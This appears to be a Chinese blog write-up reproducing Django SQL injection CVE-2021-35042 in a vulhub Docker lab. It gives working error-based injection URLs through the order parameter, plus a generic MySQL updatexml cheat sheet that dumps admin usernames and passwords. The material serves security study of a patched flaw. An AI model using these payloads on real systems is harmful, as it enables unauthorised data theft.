当前位置: 首页 > news >正文

[ vulhub漏洞复现篇 ] Django SQL注入漏洞复现 CVE-2021-35042

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、漏洞描述
  • 三、影响范围
  • 四、环境搭建
    • 1、进入CVE-2021-35042环境
    • 2、启动CVE-2021-35042环境
    • 3、查看CVE-2021-35042环境
    • 4、访问CVE-2021-35042环境
    • 5、查看CVE-2021-35042提示信息
    • 6、关闭CVE-2021-35042环境
  • 五、漏洞复现
    • 1、验证注入存在
    • 2、获取根目录信息
    • 3、获取数据库MySQL版本
    • 4、获取当前用户
    • 5、获取当前数据库名
    • 6、获取CVE数据库的表信息
    • 7、mysql注入常用语句
  • 六、漏洞修复

一、漏洞编号

CVE-2021-35042

二、漏洞描述

Django是一个开放源代码的Web应用框架,由Python写成。采用了MVC的框架模式,即模型M,视图V和控制器C。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS(内容管理系统)软件。

Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。

三、影响范围

Django < 3.2.5的Django 3.2版本
Django < 3.1.13的Django 3.1版本

四、环境搭建

1、进入CVE-2021-35042环境

cd vulhub/django/CVE-2021-35042

在这里插入图片描述

2、启动CVE-2021-35042环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2021-35042环境

docker-compose ps

在这里插入图片描述

4、访问CVE-2021-35042环境

http://192.168.13.131:8000/

在这里插入图片描述

5、查看CVE-2021-35042提示信息

cat README.md 

在这里插入图片描述

6、关闭CVE-2021-35042环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、验证注入存在

转到也受攻击页面

http://192.168.13.131:8000/vuln/

在这里插入图片描述

添加order=-id参数

http://192.168.13.131:8000/vuln/?order=-id

在这里插入图片描述

看到按 id 降序排列的数据证明注入点存在,接下来构造报错注入来进行攻击获取数据信息。

2、获取根目录信息

添加order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@basedir)),1)%23到 GET 参数查看,其中vuln是我们的应用程序和collection模型。

http://192.168.13.131:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23

在这里插入图片描述

3、获取数据库MySQL版本

http://192.168.13.131:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@version)),1)%23

在这里插入图片描述

4、获取当前用户

http://192.168.13.131:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select user())),1)%23

在这里插入图片描述

5、获取当前数据库名

http://192.168.13.131:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,database()),1)%23

在这里插入图片描述

6、获取CVE数据库的表信息

http://192.168.13.131:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,((select group_concat(table_name) from information_schema.tables where table_schema= 'cve'))),1)%23

在这里插入图片描述

7、mysql注入常用语句

爆数据库版本信息
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

链接用户
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

链接数据库
?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

爆库
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆表
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段内容
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

六、漏洞修复

及时更新到最新版本

相关文章:

  • 宠物狗网页制作作业 保护动物网页设计模板 简单学生网页设计 静态HTML CSS网站制作成品
  • java毕业设计——基于java+Applet+access的综合测评系统设计与实现(毕业论文+程序源码)——综合测评系统
  • 索引的数据结构(2)
  • 利用霍夫变换进行车道线检测
  • 公众号题库系统-查题公众号必备
  • 【Java】集合框架和泛型(二)
  • 机器学习在分子模拟中的应用
  • 美团面试——算法岗(4个面试案例)
  • 浅析Relaxed Ordering对PCIe系统稳定性的影响
  • 21、JAVA进阶——集合(2)
  • 【牛客刷题-算法】NC32 求平方根 (又是辛苦debug的一天)
  • Verilog学习笔记
  • SAP PI PO 接口常见问题处理:应用程序使用内容计划
  • 临床预测之logictic回归 1-2
  • 计算机学院第一周语法组及算法组作业
  • 分享的文章《人生如棋》
  • CAP理论的例子讲解
  • js ES6 求数组的交集,并集,还有差集
  • LeetCode算法系列_0891_子序列宽度之和
  • Python连接Oracle
  • Python十分钟制作属于你自己的个性logo
  • Python中eval与exec的使用及区别
  • React-redux的原理以及使用
  • spring boot 整合mybatis 无法输出sql的问题
  • vue从创建到完整的饿了么(18)购物车详细信息的展示与删除
  • 对话:中国为什么有前途/ 写给中国的经济学
  • 马上搞懂 GeoJSON
  • 模仿 Go Sort 排序接口实现的自定义排序
  • 小李飞刀:SQL题目刷起来!
  • 云大使推广中的常见热门问题
  • 扩展资源服务器解决oauth2 性能瓶颈
  • ​如何使用ArcGIS Pro制作渐变河流效果
  • #pragma once与条件编译
  • $redis-setphp_redis Set命令,php操作Redis Set函数介绍
  • (12)Hive调优——count distinct去重优化
  • (4)STL算法之比较
  • (C语言)编写程序将一个4×4的数组进行顺时针旋转90度后输出。
  • (HAL)STM32F103C6T8——软件模拟I2C驱动0.96寸OLED屏幕
  • (八)五种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划MATLAB
  • (篇九)MySQL常用内置函数
  • (收藏)Git和Repo扫盲——如何取得Android源代码
  • (四)Tiki-taka算法(TTA)求解无人机三维路径规划研究(MATLAB)
  • (转)C语言家族扩展收藏 (转)C语言家族扩展
  • .dat文件写入byte类型数组_用Python从Abaqus导出txt、dat数据
  • .NET delegate 委托 、 Event 事件
  • .NET MVC 验证码
  • .Net 中Partitioner static与dynamic的性能对比
  • .NetCore Flurl.Http 升级到4.0后 https 无法建立SSL连接
  • .net反编译的九款神器
  • .NET下的多线程编程—1-线程机制概述
  • @ResponseBody
  • [ HTML + CSS + Javascript ] 复盘尝试制作 2048 小游戏时遇到的问题
  • [].slice.call()将类数组转化为真正的数组
  • [AIGC] Java 和 Kotlin 的区别
  • [codevs 1515]跳 【解题报告】